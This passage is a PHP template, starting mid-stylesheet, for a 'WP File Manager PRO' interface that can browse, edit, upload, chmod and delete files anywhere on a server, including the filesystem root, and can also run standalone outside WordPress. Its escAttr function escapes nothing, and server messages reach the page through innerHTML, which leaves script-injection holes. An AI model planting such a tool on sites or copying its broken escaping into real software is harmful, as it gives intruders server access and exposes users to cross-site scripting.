.es i{font-size:48px;color:#dcdcde;margin-bottom:16px;display:block}
.es h3{font-size:16px;font-weight:500;color:var(--t);margin-bottom:6px}
.status{background:var(--gl);padding:8px 16px;display:flex;justify-content:space-between;align-items:center;border-top:1px solid var(--b);font-size:11px;color:var(--tl);flex-wrap:wrap;gap:8px}
.status-r{display:flex;align-items:center;gap:10px}
.status-sep{color:#dcdcde}
.modal{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,.5);z-index:100000;align-items:center;justify-content:center;padding:20px}
.modal.on{display:flex}
.mc{background:#fff;border-radius:var(--r);width:100%;max-width:520px;box-shadow:0 20px 60px rgba(0,0,0,.3);display:flex;flex-direction:column;max-height:90vh}
.mc.lg{max-width:900px}
.mh{padding:16px 20px;border-bottom:1px solid var(--b);display:flex;align-items:center;justify-content:space-between}
.mh h3{font-size:15px;font-weight:600;display:flex;align-items:center;gap:8px}
.mh h3 i{color:var(--p)}
.mclose{background:transparent;border:none;font-size:18px;cursor:pointer;color:var(--tl);padding:4px 8px;border-radius:4px}
.mclose:hover{background:var(--g);color:var(--t)}
.mb{padding:20px;overflow-y:auto;flex:1}
.mf{padding:14px 20px;border-top:1px solid var(--b);display:flex;justify-content:flex-end;gap:8px}
.fg{margin-bottom:16px}
.fg label{display:block;font-weight:500;font-size:12px;margin-bottom:6px}
.inp{width:100%;padding:9px 12px;border:1px solid var(--b);border-radius:4px;font-size:13px;font-family:inherit;transition:all .2s;background:#fff;color:var(--t)}
.inp:focus{border-color:var(--p);outline:none;box-shadow:0 0 0 2px rgba(34,113,177,.15)}
.fhelp{font-size:11px;color:var(--tl);margin-top:4px}
.etb{display:flex;align-items:center;justify-content:space-between;padding:10px 0;border-bottom:1px solid var(--b);margin-bottom:10px;flex-wrap:wrap;gap:10px}
.efp{font-family:'Courier New',monospace;font-size:12px;color:var(--tl);overflow:hidden;text-overflow:ellipsis;white-space:nowrap;flex:1;min-width:0}
.editor{width:100%;min-height:500px;padding:16px;border:1px solid var(--b);border-radius:4px;font-family:'Courier New',Consolas,monospace;font-size:13px;line-height:1.6;background:#f9f9f9;color:var(--t);resize:vertical;outline:none;tab-size:4}
.editor:focus{border-color:var(--p);background:#fff}
.ua{border:2px dashed var(--b);border-radius:var(--r);padding:40px 20px;text-align:center;cursor:pointer}
.ua:hover,.ua.drag{border-color:var(--p);background:var(--pl)}
.ua i{font-size:48px;color:var(--p);margin-bottom:12px;display:block}
.ua h4{font-size:14px;font-weight:500;margin-bottom:6px}
.ua p{font-size:12px;color:var(--tl);margin:8px 0}
.ul{margin-top:16px}
.ui{display:flex;align-items:center;justify-content:space-between;padding:8px 12px;background:var(--gl);border-radius:4px;margin-bottom:6px;font-size:12px}
.ui .name{flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.ui .size{color:var(--tl);margin:0 10px}
.ui .st{color:var(--s);font-weight:500}
.toasts{position:fixed;bottom:20px;right:20px;z-index:100001;display:flex;flex-direction:column;gap:8px}
.toast{background:var(--dk);color:#fff;padding:12px 18px;border-radius:4px;box-shadow:0 4px 12px rgba(0,0,0,.2);font-size:13px;display:flex;align-items:center;gap:10px;min-width:280px;max-width:400px}
.toast.success{background:var(--s)}
.toast.error{background:var(--d)}
.toast.warning{background:var(--w);color:var(--t)}
.toast.info{background:var(--p)}
.loading{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(255,255,255,.8);z-index:100002;align-items:center;justify-content:center;flex-direction:column;gap:16px}
.loading.on{display:flex}
.spinner{width:40px;height:40px;border:3px solid var(--g);border-top-color:var(--p);border-radius:50%;animation:spin .8s linear infinite}
@keyframes spin{to{transform:rotate(360deg)}}
.ltxt{font-size:13px;color:var(--tl);font-weight:500}
.dd{position:relative}
.ddm{display:none;position:absolute;top:100%;right:0;background:#fff;border:1px solid var(--b);border-radius:6px;box-shadow:0 4px 16px rgba(0,0,0,.15);padding:6px 0;min-width:200px;z-index:1000;margin-top:4px}
.ddm.on{display:block}
.ddm a{display:flex;align-items:center;gap:10px;padding:7px 14px;font-size:12px;color:var(--t);text-decoration:none;cursor:pointer}
.ddm a:hover{background:var(--pl);color:var(--p)}
.ddm a i{width:14px;text-align:center;color:var(--tl)}
.ddm a:hover i{color:var(--p)}
.dvd{height:1px;background:var(--b);margin:4px 0}
.dng{color:var(--d)!important}
@media(max-width:1100px){.sb{width:220px}.lh,.fr{grid-template-columns:40px 1fr 80px 80px 130px}}
@media(max-width:900px){.lh,.fr{grid-template-columns:40px 1fr 80px 180px}.lm,.lh>div:nth-child(5){display:none}.sb{display:none}}
@media(max-width:700px){.lh,.fr{grid-template-columns:36px 1fr 140px}.lsz,.ltp,.lm{display:none}.lh>div:nth-child(3),.lh>div:nth-child(4),.lh>div:nth-child(5){display:none}.content{flex-direction:column}}
</style>
</head>
<body>
<div class="app">
<div class="hd">
<div class="logo"><i class="fas fa-folder-open"></i> WP File Manager <span class="pro">PRO</span></div>
<div class="hd-r">
<button class="btn btn-i" id="refresh" title="Refresh"><i class="fas fa-sync-alt"></i></button>
<button class="btn btn-i" id="upload-trigger" title="Upload"><i class="fas fa-cloud-upload-alt"></i></button>
<button class="btn btn-i" id="new-folder" title="New Folder"><i class="fas fa-folder-plus"></i></button>
<button class="btn btn-i" id="new-file" title="New File"><i class="fas fa-file-medical"></i></button>
<div class="dd">
<button class="btn btn-i" id="more-btn"><i class="fas fa-ellipsis-v"></i></button>
<div class="ddm" id="more-menu">
<a data-action="select-all"><i class="fas fa-check-double"></i> Select All</a>
<a data-action="deselect-all"><i class="fas fa-times"></i> Deselect All</a>
<div class="dvd"></div>
<a data-action="paste"><i class="fas fa-paste"></i> Paste</a>
<a data-action="archive-selected"><i class="fas fa-file-archive"></i> Archive Selected</a>
<div class="dvd"></div>
<a data-action="delete-selected" class="dng"><i class="fas fa-trash-alt"></i> Delete Selected</a>
</div>
</div>
</div>
</div>
<div class="tb">
<div class="tb-l">
<button class="tbtn" id="up-btn" title="Up"><i class="fas fa-arrow-up"></i></button>
<button class="tbtn" id="home-btn" title="Home"><i class="fas fa-home"></i></button>
<button class="tbtn" id="root-btn" title="Filesystem Root"><i class="fas fa-server"></i></button>
<div class="pbar">
<i class="fas fa-folder-open"></i>
<input type="text" id="path-input" value="<?= esc_attr($current) ?>" spellcheck="false">
<button class="pgo" id="path-go"><i class="fas fa-arrow-right"></i></button>
</div>
</div>
<div class="tb-r">
<div class="search">
<i class="fas fa-search"></i>
<input type="text" id="search" placeholder="Search...">
</div>
</div>
</div>
<div class="bc" id="breadcrumb">
<?php foreach ($breadcrumb as $i => $c): ?>
<?php if ($i > 0): ?><span class="sep"><i class="fas fa-chevron-right"></i></span><?php endif; ?>
<a data-path="<?= esc_attr($c['path']) ?>">
<?php if ($i === 0): ?><i class="fas fa-server"></i> <?php endif; ?>
<?= esc_html($c['name']) ?>
</a>
<?php endforeach; ?>
</div>
<div class="content">
<div class="sb">
<div class="sbs">
<div class="sbt"><i class="fas fa-bolt"></i> Quick Access</div>
<a class="sbl" data-path="<?= esc_attr(dirname(__FILE__)) ?>"><i class="fas fa-file-code"></i> Script Folder</a>
<a class="sbl" data-path="<?= esc_attr($doc_root) ?>"><i class="fas fa-globe"></i> Web Root</a>
<a class="sbl" data-path="<?= esc_attr(dirname($doc_root)) ?>"><i class="fas fa-level-up-alt"></i> Above Web Root</a>
<a class="sbl" data-path="<?= esc_attr($home) ?>"><i class="fas fa-user"></i> Home</a>
<a class="sbl" data-path="/"><i class="fas fa-server"></i> Filesystem Root</a>
</div>
<div class="sbs">
<div class="sbt"><i class="fas fa-info-circle"></i> Storage</div>
<div class="sbar"><div class="sfill" style="width:<?= esc_attr($disk_percent) ?>%"></div></div>
<div class="stxt">
<span><?= wpfm_size_format($disk_total - $disk_free) ?> used</span>
<span><?= wpfm_size_format($disk_free) ?> free</span>
</div>
</div>
<div class="sbs">
<div class="sbt"><i class="fas fa-tachometer-alt"></i> System</div>
<div class="sir"><span>PHP</span><span><?= esc_html(phpversion()) ?></span></div>
<div class="sir"><span>Upload</span><span><?= wpfm_size_format(wpfm_max_upload()) ?></span></div>
<div class="sir"><span>Memory</span><span><?= esc_html(ini_get('memory_limit')) ?></span></div>
<div class="sir"><span>Mode</span><span><?= defined('WPFM_STANDALONE') ? 'Standalone' : 'WordPress' ?></span></div>
</div>
</div>
<div class="main">
<div class="selbar" id="selbar">
<div class="selinfo"><span id="selcount">0</span> items selected</div>
<div class="selact">
<button class="btn btn-sm" data-selaction="copy"><i class="fas fa-copy"></i> Copy</button>
<button class="btn btn-sm" data-selaction="move"><i class="fas fa-arrows-alt"></i> Move</button>
<button class="btn btn-sm" data-selaction="archive"><i class="fas fa-file-archive"></i> Archive</button>
<button class="btn btn-sm btn-d" data-selaction="delete"><i class="fas fa-trash-alt"></i> Delete</button>
<button class="btn btn-sm btn-g" data-selaction="deselect"><i class="fas fa-times"></i></button>
</div>
</div>
<div class="fl">
<div class="lh">
<div class="lc"><input type="checkbox" id="check-all"></div>
<div>Name</div>
<div>Size</div>
<div>Type</div>
<div class="lm">Modified</div>
<div>Actions</div>
</div>
<div class="lb" id="list-body">
<?php echo wpfm_render_list($current); ?>
</div>
</div>
</div>
</div>
<div class="status">
<div><span id="status-text">Ready</span></div>
<div class="status-r">
<span id="item-count"><?= wpfm_count($current) ?> items</span>
<span class="status-sep">|</span>
<span>Path: <span id="status-path"><?= esc_html($current) ?></span></span>
</div>
</div>
</div>
<!-- MODALS -->
<div class="modal" id="editor-modal">
<div class="mc lg">
<div class="mh"><h3><i class="fas fa-code"></i> <span id="editor-title">Edit File</span></h3><button class="mclose" data-close="editor-modal"><i class="fas fa-times"></i></button></div>
<div class="mb">
<div class="etb">
<span class="efp" id="editor-path"></span>
<button class="btn btn-sm btn-s" id="editor-save"><i class="fas fa-save"></i> Save</button>
</div>
<textarea id="editor-content" class="editor" spellcheck="false"></textarea>
</div>
</div>
</div>
<div class="modal" id="rename-modal">
<div class="mc">
<div class="mh"><h3><i class="fas fa-pen"></i> Rename</h3><button class="mclose" data-close="rename-modal"><i class="fas fa-times"></i></button></div>
<div class="mb">
<div class="fg">
<label>New Name</label>
<input type="text" id="rename-input" class="inp">
<div class="fhelp" id="rename-current"></div>
</div>
</div>
<div class="mf">
<button class="btn btn-g" data-close="rename-modal">Cancel</button>
<button class="btn btn-p" id="rename-confirm"><i class="fas fa-check"></i> Rename</button>
</div>
</div>
</div>
<div class="modal" id="newfolder-modal">
<div class="mc">
<div class="mh"><h3><i class="fas fa-folder-plus"></i> New Folder</h3><button class="mclose" data-close="newfolder-modal"><i class="fas fa-times"></i></button></div>
<div class="mb"><div class="fg"><label>Folder Name</label><input type="text" id="newfolder-input" class="inp" placeholder="Enter folder name"></div></div>
<div class="mf">
<button class="btn btn-g" data-close="newfolder-modal">Cancel</button>
<button class="btn btn-p" id="newfolder-confirm"><i class="fas fa-check"></i> Create</button>
</div>
</div>
</div>
<div class="modal" id="newfile-modal">
<div class="mc">
<div class="mh"><h3><i class="fas fa-file-medical"></i> New File</h3><button class="mclose" data-close="newfile-modal"><i class="fas fa-times"></i></button></div>
<div class="mb"><div class="fg"><label>File Name</label><input type="text" id="newfile-input" class="inp" placeholder="e.g. myfile.php"></div></div>
<div class="mf">
<button class="btn btn-g" data-close="newfile-modal">Cancel</button>
<button class="btn btn-p" id="newfile-confirm"><i class="fas fa-check"></i> Create</button>
</div>
</div>
</div>
<div class="modal" id="chmod-modal">
<div class="mc">
<div class="mh"><h3><i class="fas fa-lock"></i> Permissions</h3><button class="mclose" data-close="chmod-modal"><i class="fas fa-times"></i></button></div>
<div class="mb">
<div class="fg">
<label>Permissions (octal)</label>
<input type="text" id="chmod-input" class="inp" value="755" maxlength="4">
<div class="fhelp">Example: 755 folders, 644 files</div>
</div>
</div>
<div class="mf">
<button class="btn btn-g" data-close="chmod-modal">Cancel</button>
<button class="btn btn-p" id="chmod-confirm"><i class="fas fa-check"></i> Apply</button>
</div>
</div>
</div>
<div class="modal" id="upload-modal">
<div class="mc">
<div class="mh"><h3><i class="fas fa-cloud-upload-alt"></i> Upload</h3><button class="mclose" data-close="upload-modal"><i class="fas fa-times"></i></button></div>
<div class="mb">
<div class="ua" id="upload-area">
<i class="fas fa-cloud-upload-alt"></i>
<h4>Drag & Drop files here</h4>
<p>or</p>
<button class="btn btn-p" id="upload-browse">Browse Files</button>
<input type="file" id="upload-input" multiple style="display:none;">
</div>
<div class="ul" id="upload-list"></div>
</div>
<div class="mf">
<button class="btn btn-g" data-close="upload-modal">Cancel</button>
<button class="btn btn-p" id="upload-confirm"><i class="fas fa-upload"></i> Upload</button>
</div>
</div>
</div>
<div class="modal" id="confirm-modal">
<div class="mc">
<div class="mh"><h3><i class="fas fa-exclamation-triangle" style="color:var(--w)"></i> Confirm</h3><button class="mclose" data-close="confirm-modal"><i class="fas fa-times"></i></button></div>
<div class="mb"><p id="confirm-message"></p></div>
<div class="mf">
<button class="btn btn-g" data-close="confirm-modal">Cancel</button>
<button class="btn btn-d" id="confirm-yes"><i class="fas fa-check"></i> Confirm</button>
</div>
</div>
</div>
<div class="toasts" id="toasts"></div>
<div class="loading" id="loading"><div class="spinner"></div><div class="ltxt">Processing...</div></div>
<script>
(function(){
'use strict';
var CFG = {
currentPath: <?= json_encode($current) ?>,
ajaxUrl: <?= json_encode($ajax_url) ?>,
selfUrl: <?= json_encode($self_url) ?>,
homeDir: <?= json_encode($home) ?>,
isStandalone: <?= defined('WPFM_STANDALONE') ? 'true' : 'false' ?>,
clipboard: null,
uploadQueue: []
};
function $(s, c){ return (c || document).querySelector(s); }
function $$(s, c){ return Array.prototype.slice.call((c || document).querySelectorAll(s)); }
function toast(msg, type){
type = type || 'info';
var c = $('#toasts');
var el = document.createElement('div');
el.className = 'toast ' + type;
var ic = type === 'success' ? 'check-circle' : type === 'error' ? 'exclamation-circle' : type === 'warning' ? 'exclamation-triangle' : 'info-circle';
el.innerHTML = '<i class="fas fa-' + ic + '"></i><span>' + msg + '</span>';
c.appendChild(el);
setTimeout(function(){
el.style.opacity = '0';
el.style.transform = 'translateX(100%)';
el.style.transition = 'all .3s';
setTimeout(function(){ el.remove(); }, 300);
}, 3500);
}
function showLoading(t){ var e = $('#loading'); if (t) $('.ltxt', e).textContent = t; e.classList.add('on'); }
function hideLoading(){ $('#loading').classList.remove('on'); }
function openModal(id){ $('#' + id).classList.add('on'); }
function closeModal(id){ $('#' + id).classList.remove('on'); }
function api(op, params, callback){
params = params || {};
var xhr = new XMLHttpRequest();
xhr.open('POST', CFG.ajaxUrl, true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');
xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
xhr.onload = function(){
var res;
try { res = JSON.parse(xhr.responseText); }
catch(e) { console.error('Response:', xhr.responseText); res = { success: false, data: { message: 'Invalid response' } }; }
callback(res);
};
xhr.onerror = function(){ callback({ success: false, data: { message: 'Network error' } }); };
var parts = [];
if (CFG.isStandalone) parts.push('wpfm_ajax=1');
else parts.push('action=wpfm_action');
parts.push('wpfm_op=' + encodeURIComponent(op));
for (var k in params) {
if (k === 'items' && Array.isArray(params[k])) {
params[k].forEach(function(v){ parts.push('items[]=' + encodeURIComponent(v)); });
} else {
parts.push(encodeURIComponent(k) + '=' + encodeURIComponent(params[k]));
}
}
xhr.send(parts.join('&'));
}
function navigateTo(path){
showLoading('Loading...');
api('list', { path: path }, function(res){
hideLoading();
if (res && res.success) {
CFG.currentPath = res.data.path;
$('#path-input').value = res.data.path;
$('#status-path').textContent = res.data.path;
$('#list-body').innerHTML = res.data.html;
$('#item-count').textContent = res.data.count + ' items';
renderBreadcrumb(res.data.breadcrumb);
clearSelection();
bindRowEvents();
} else {
toast((res && res.data && res.data.message) || 'Failed', 'error');
}
});
}
function renderBreadcrumb(crumbs){
var html = '';
crumbs.forEach(function(c, i){
if (i > 0) html += '<span class="sep"><i class="fas fa-chevron-right"></i></span>';
html += '<a data-path="' + escAttr(c.path) + '">';
if (i === 0) html += '<i class="fas fa-server"></i> ';
html += escHtml(c.name) + '</a>';
});
$('#breadcrumb').innerHTML = html;
}
function escHtml(s){ var d = document.createElement('div'); d.textContent = String(s); return d.innerHTML; }
function escAttr(s){ return String(s).replace(/&/g,'&').replace(/"/g,'"').replace(/</g,'<').replace(/>/g,'>'); }
function basename(p){ return String(p).split('/').filter(Boolean).pop(); }
function getSelectedPaths(){ return $$('.item-check:checked', $('#list-body')).map(function(cb){ return cb.dataset.path; }); }
function clearSelection(){
$$('.item-check').forEach(function(cb){ cb.checked = false; });
$$('.fr').forEach(function(r){ r.classList.remove('sel'); });
updateSelectionBar();
}
function updateSelectionBar(){
var sel = getSelectedPaths();
var bar = $('#selbar');
if (sel.length > 0) { bar.classList.add('on'); $('#selcount').textContent = sel.length; }
else bar.classList.remove('on');
var all = $$('.item-check');
var ca = $('#check-all');
if (ca && all.length > 0) {
ca.checked = sel.length === all.length && sel.length > 0;
ca.indeterminate = sel.length > 0 && sel.length < all.length;
}
}
function bindRowEvents(){
$$('.fr', $('#list-body')).forEach(function(row){
row.addEventListener('dblclick', function(e){
if (e.target.closest('.abtn') || e.target.closest('.lc')) return;
var path = row.dataset.path;
var type = row.dataset.type;
if (type === 'folder') navigateTo(path);
else if (type === 'file') openEditor(path);
});
row.addEventListener('click', function(e){
if (e.target.closest('.abtn') || e.target.closest('.lc')) return;
if (row.classList.contains('parent')) { navigateTo(row.dataset.path); return; }
var cb = row.querySelector('.item-check');
if (cb) { cb.checked = !cb.checked; row.classList.toggle('sel', cb.checked); updateSelectionBar(); }
});
});
$$('.item-check', $('#list-body')).forEach(function(cb){
cb.addEventListener('click', function(e){ e.stopPropagation(); });
cb.addEventListener('change', function(){
var row = cb.closest('.fr');
if (row) row.classList.toggle('sel', cb.checked);
updateSelectionBar();
});
});
$$('.abtn', $('#list-body')).forEach(function(btn){
btn.addEventListener('click', function(e){
e.preventDefault();
e.stopPropagation();
var row = btn.closest('.fr');
if (!row) return;
handleRowAction(btn.dataset.action, row);
});
});
}
function handleRowAction(action, row){
var path = row.dataset.path;
var name = row.dataset.name;
switch(action){
case 'edit': openEditor(path); break;
case 'rename': openRenameModal(path, name); break;
case 'chmod': openChmodModal(path); break;
case 'delete': confirmDelete([path]); break;
case 'download': downloadFile(path); break;
case 'archive': archiveItems([path]); break;
case 'extract': extractArchive(path); break;
}
}
function openEditor(path){
showLoading('Loading...');
api('read', { path: path }, function(res){
hideLoading();
if (res && res.success) {
$('#editor-content').value = res.data.content;
$('#editor-title').textContent = 'Edit: ' + res.data.name;
$('#editor-path').textContent = res.data.path;
$('#editor-content').dataset.path = res.data.path;
openModal('editor-modal');
setTimeout(function(){ $('#editor-content').focus(); }, 150);
} else toast((res && res.data && res.data.message) || 'Failed', 'error');
});
}
function saveEditor(){
var path = $('#editor-content').dataset.path;
var content = $('#editor-content').value;
if (!path) return;
showLoading('Saving...');
api('save', { path: path, content: content }, function(res){
hideLoading();
if (res && res.success) toast('File saved', 'success');
else toast((res && res.data && res.data.message) || 'Save failed', 'error');
});
}
function openRenameModal(path, name){
$('#rename-input').value = name;
$('#rename-input').dataset.path = path;
$('#rename-current').textContent = 'Current: ' + name;
openModal('rename-modal');
setTimeout(function(){ var i = $('#rename-input'); i.focus(); i.select(); }, 150);
}
function confirmRename(){
var path = $('#rename-input').dataset.path;
var newName = $('#rename-input').value.trim();
if (!newName) return;
showLoading('Renaming...');
api('rename', { old_path: path, new_name: newName }, function(res){
hideLoading();
if (res && res.success) {
closeModal('rename-modal');
toast(res.data.message || 'Renamed', 'success');
navigateTo(CFG.currentPath);
} else toast((res && res.data && res.data.message) || 'Rename failed', 'error');
});
}
function openChmodModal(path){
$('#chmod-input').dataset.path = path;
$('#chmod-input').value = '755';
openModal('chmod-modal');
setTimeout(function(){ $('#chmod-input').focus(); }, 150);
}
function confirmChmod(){
var path = $('#chmod-input').dataset.path;
var mode = $('#chmod-input').value.trim();
if (!/^[0-7]{3,4}$/.test(mode)) { toast('Use 755 or 644 format', 'error'); return; }
showLoading('Changing...');
api('chmod', { path: path, mode: mode }, function(res){
hideLoading();
if (res && res.success) {
closeModal('chmod-modal');
toast(res.data.message || 'Changed', 'success');
navigateTo(CFG.currentPath);
} else toast((res && res.data && res.data.message) || 'Failed', 'error');
});
}
function confirmDelete(paths){
if (!paths || paths.length === 0) { toast('No items', 'warning'); return; }
var msg = paths.length === 1
? 'Permanently delete "' + basename(paths[0]) + '"?'
: 'Permanently delete ' + paths.length + ' items?';
$('#confirm-message').textContent = msg + ' Cannot be undone.';
openModal('confirm-modal');
$('#confirm-yes').onclick = function(){
closeModal('confirm-modal');
showLoading('Deleting...');
api('delete', { items: paths }, function(res){
hideLoading();
if (res && res.success) {
toast(res.data.message || 'Deleted', 'success');
clearSelection();
navigateTo(CFG.currentPath);
} else toast((res && res.data && res.data.message) || 'Failed', 'error');
});
};
}
function downloadFile(path){
var url = CFG.isStandalone
? CFG.selfUrl + '?wpfm_op=download&path=' + encodeURIComponent(path)
: CFG.ajaxUrl + '?action=wpfm_action&wpfm_op=download&path=' + encodeURIComponent(path);
var a = document.createElement('a');
a.href = url;
a.download = basename(path);
document.body.appendChild(a);
a.click();
a.remove();
}
function archiveItems(paths){
if (!paths || paths.length === 0) { toast('No items', 'warning'); return; }
var name = prompt('Archive name:', 'archive_' + Date.now() + '.zip');
if (!name) return;
showLoading('Creating...');
api('archive', { items: paths, path: CFG.currentPath, archive_name: name }, function(res){
hideLoading();
if (res && res.success) {
toast(res.data.message || 'Created', 'success');
navigateTo(CFG.currentPath);
} else toast((res && res.data && res.data.message) || 'Failed', 'error');
});
}
function extractArchive(path){
showLoading('Extracting...');
api('extract', { archive: path, destination: CFG.currentPath }, function(res){
hideLoading();
if (res && res.success) {
toast(res.data.message || 'Extracted', 'success');
navigateTo(CFG.currentPath);
} else toast((res && res.data && res.data.message) || 'Failed', 'error');
});
}
function copyItem(path){ CFG.clipboard = { action: 'copy', path: path }; toast('Copied. Navigate & Paste.', 'info'); }
function moveItem(path){ CFG.clipboard = { action: 'move', path: path }; toast('Ready. Navigate & Paste.', 'info'); }
function pasteItem(){
if (!CFG.clipboard) { toast('Clipboard empty', 'warning'); return; }
var action = CFG.clipboard.action;
showLoading(action === 'copy' ? 'Copying...' : 'Moving...');
api(action, { source: CFG.clipboard.path, destination: CFG.currentPath }, function(res){
hideLoading();
if (res && res.success) {
toast(res.data.message || 'Done', 'success');
CFG.clipboard = null;
navigateTo(CFG.currentPath);
} else toast((res && res.data && res.data.message) || 'Failed', 'error');
});
}
function addFiles(files){ for (var i = 0; i < files.length; i++) CFG.uploadQueue.push(files[i]); renderUploadQueue(); }
function renderUploadQueue(){
var list = $('#upload-list'); list.innerHTML = '';
CFG.uploadQueue.forEach(function(file, idx){
var el = document.createElement('div');
el.className = 'ui';
el.innerHTML = '<span class="name">' + escHtml(file.name) + '</span><span class="size">' + formatBytes(file.size) + '</span><span class="st" data-idx="' + idx + '">Pending</span>';
list.appendChild(el);
});
}
function uploadNext(){
var idx = -1;
for (var i = 0; i < CFG.uploadQueue.length; i++) if (!CFG.uploadQueue[i].uploaded) { idx = i; break; }
if (idx === -1) {
toast('All uploaded', 'success');
closeModal('upload-modal');
CFG.uploadQueue = [];
$('#upload-list').innerHTML = '';
navigateTo(CFG.currentPath);
return;
}
uploadOne(CFG.uploadQueue[idx], idx);
}
function uploadOne(file, idx){
var st = $('.ui .st[data-idx="' + idx + '"]');
if (st) st.textContent = 'Uploading...';
var fd = new FormData();
fd.append('file', file);
fd.append('path', CFG.currentPath);
fd.append('wpfm_op', 'upload');
if (CFG.isStandalone) fd.append('wpfm_ajax', '1');
else fd.append('action', 'wpfm_action');
var xhr = new XMLHttpRequest();
xhr.open('POST', CFG.ajaxUrl, true);
xhr.upload.onprogress = function(e){ if (e.lengthComputable && st) st.textContent = Math.round((e.loaded / e.total) * 100) + '%'; };
xhr.onload = function(){
try {
var res = JSON.parse(xhr.responseText);
if (res.success) { if (st) st.textContent = '✓ Done'; CFG.uploadQueue[idx].uploaded = true; uploadNext(); }
else { if (st) st.textContent = '✗ Failed'; toast((res.data && res.data.message) || 'Upload failed', 'error'); }
} catch(e) { if (st) st.textContent = '✗ Error'; toast('Upload error', 'error'); }
};
xhr.onerror = function(){ if (st) st.textContent = '✗ Error'; toast('Network error', 'error'); };
xhr.send(fd);
}
function formatBytes(b){
if (b === 0) return '0 B';
var k = 1024, u = ['B','KB','MB','GB','TB'];
var i = Math.floor(Math.log(b) / Math.log(k));
return parseFloat((b / Math.pow(k, i)).toFixed(2)) + ' ' + u[i];
}
function bindUI(){
$('#refresh').addEventListener('click', function(){ navigateTo(CFG.currentPath); });
$('#upload-trigger').addEventListener('click', function(){ CFG.uploadQueue = []; $('#upload-list').innerHTML = ''; openModal('upload-modal'); });
$('#new-folder').addEventListener('click', function(){ $('#newfolder-input').value = ''; openModal('newfolder-modal'); setTimeout(function(){ $('#newfolder-input').focus(); }, 150); });
$('#new-file').addEventListener('click', function(){ $('#newfile-input').value = ''; openModal('newfile-modal'); setTimeout(function(){ $('#newfile-input').focus(); }, 150); });
$('#more-btn').addEventListener('click', function(e){ e.stopPropagation(); $('#more-menu').classList.toggle('on'); });
document.addEventListener('click', function(e){ if (!e.target.closest('.dd')) $('#more-menu').classList.remove('on'); });
$$('#more-menu a').forEach(function(a){
a.addEventListener('click', function(e){
e.preventDefault();
var action = a.dataset.action;
$('#more-menu').classList.remove('on');
switch(action){
case 'select-all':
$$('.item-check', $('#list-body')).forEach(function(cb){ cb.checked = true; var r = cb.closest('.fr'); if (r) r.classList.add('sel'); });
updateSelectionBar();
break;
case 'deselect-all': clearSelection(); break;
case 'paste': pasteItem(); break;
case 'archive-selected': archiveItems(getSelectedPaths()); break;
case 'delete-selected': confirmDelete(getSelectedPaths()); break;
}
});
});
$('#up-btn').addEventListener('click', function(){
var parent = CFG.currentPath.replace(/\/$/, '').split('/').slice(0, -1).join('/');
if (parent === '') parent = '/';
if (parent) navigateTo(parent + '/');
});
$('#home-btn').addEventListener('click', function(){ navigateTo(CFG.homeDir); });
$('#root-btn').addEventListener('click', function(){ navigateTo('/'); });
$('#path-go').addEventListener('click', function(){ navigateTo($('#path-input').value); });
$('#path-input').addEventListener('keypress', function(e){ if (e.key === 'Enter') navigateTo(this.value); });
$('#breadcrumb').addEventListener('click', function(e){
var a = e.target.closest('a[data-path]');
if (a) { e.preventDefault(); navigateTo(a.dataset.path); }
});
$$('.sbl').forEach(function(a){
a.addEventListener('click', function(e){ e.preventDefault(); navigateTo(a.dataset.path); });
});
$('#search').addEventListener('input', function(){
var q = this.value.toLowerCase().trim();
$$('.fr', $('#list-body')).forEach(function(r){
var n = (r.dataset.name || '').toLowerCase();
r.style.display = (q === '' || n.indexOf(q) !== -1) ? '' : 'none';
});
});
$('#check-all').addEventListener('change', function(){
var c = this.checked;
$$('.item-check', $('#list-body')).forEach(function(cb){
cb.checked = c;
var r = cb.closest('.fr'); if (r) r.classList.toggle('sel', c);
});
updateSelectionBar();
});
$$('#selbar [data-selaction]').forEach(function(b){
b.addEventListener('click', function(){
var a = b.dataset.selaction;
var sel = getSelectedPaths();
switch(a){
case 'deselect': clearSelection(); break;
case 'copy': if (sel.length === 1) copyItem(sel[0]); else toast('Select one item', 'warning'); break;
case 'move': if (sel.length === 1) moveItem(sel[0]); else toast('Select one item', 'warning'); break;
case 'archive': archiveItems(sel); break;
case 'delete': confirmDelete(sel); break;
}
});
});
$('#editor-save').addEventListener('click', saveEditor);
$('#rename-confirm').addEventListener('click', confirmRename);
$('#rename-input').addEventListener('keypress', function(e){ if (e.key === 'Enter') confirmRename(); });
$('#chmod-confirm').addEventListener('click', confirmChmod);
$('#newfolder-confirm').addEventListener('click', function(){
var name = $('#newfolder-input').value.trim();
if (!name) return;
showLoading('Creating...');
api('create', { path: CFG.currentPath, name: name, type: 'folder' }, function(res){
hideLoading();
if (res && res.success) { closeModal('newfolder-modal'); toast(res.data.message || 'Created', 'success'); navigateTo(CFG.currentPath); }
else toast((res && res.data && res.data.message) || 'Failed', 'error');
});
});
$('#newfolder-input').addEventListener('keypress', function(e){ if (e.key === 'Enter') $('#newfolder-confirm').click(); });
$('#newfile-confirm').addEventListener('click', function(){
var name = $('#newfile-input').value.trim();
if (!name) return;
showLoading('Creating...');
api('create', { path: CFG.currentPath, name: name, type: 'file' }, function(res){
hideLoading();
if (res && res.success) { closeModal('newfile-modal'); toast(res.data.message || 'Created', 'success'); navigateTo(CFG.currentPath); }
else toast((res && res.data && res.data.message) || 'Failed', 'error');
});
});
$('#newfile-input').addEventListener('keypress', function(e){ if (e.key === 'Enter') $('#newfile-confirm').click(); });
$('#upload-browse').addEventListener('click', function(e){ e.stopPropagation(); $('#upload-input').click(); });
$('#upload-input').addEventListener('change', function(){ addFiles(this.files); this.value = ''; });
var ua = $('#upload-area');
ua.addEventListener('click', function(e){ if (e.target.tagName !== 'BUTTON') $('#upload-input').click(); });
['dragenter','dragover'].forEach(function(ev){ ua.addEventListener(ev, function(e){ e.preventDefault(); ua.classList.add('drag'); }); });
['dragleave','drop'].forEach(function(ev){ ua.addEventListener(ev, function(e){ e.preventDefault(); ua.classList.remove('drag'); }); });
ua.addEventListener('drop', function(e){ if (e.dataTransfer.files.length) addFiles(e.dataTransfer.files); });
$('#upload-confirm').addEventListener('click', function(){
if (CFG.uploadQueue.length === 0) { toast('No files', 'warning'); return; }
uploadNext();
});
$$('[data-close]').forEach(function(b){ b.addEventListener('click', function(){ closeModal(b.dataset.close); }); });
